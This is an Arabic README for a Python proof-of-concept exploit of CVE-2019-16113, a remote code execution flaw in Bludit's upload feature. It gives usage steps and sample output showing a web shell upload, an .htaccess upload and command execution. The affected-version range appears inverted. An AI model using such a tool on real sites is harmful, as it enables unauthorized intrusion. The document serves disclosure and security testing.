CVE-2019-16113 برهان المفهوم

Bludit >= 3.9.2 ثغرة تنفيذ التعليمات البرمجية عن بُعد عبر "وظيفة الرفع".

برهان مفهوم بسيط مكتوب بلغة بايثون.

الاكتشاف بواسطة @christasa: https://github.com/bludit/bludit/issues/1081

الاستخدام

قم بتعديل السكربت باستخدام عنوان URL الخاص بك واسم المستخدم وكلمة المرور والأمر الذي تريد تنفيذه ثم شغّل السكربت:

$ python CVE-2019-16113.py
[+] Loggin successful.
[+] Token CSRF: 20b903ffe72490f004b9255521ea2e0419e73dce
[+] Shell upload succesful.
[+] .htaccess upload succesful.
[+] Command execution successful.

المتطلبات

• بايثون 3
• requests (pip install requests)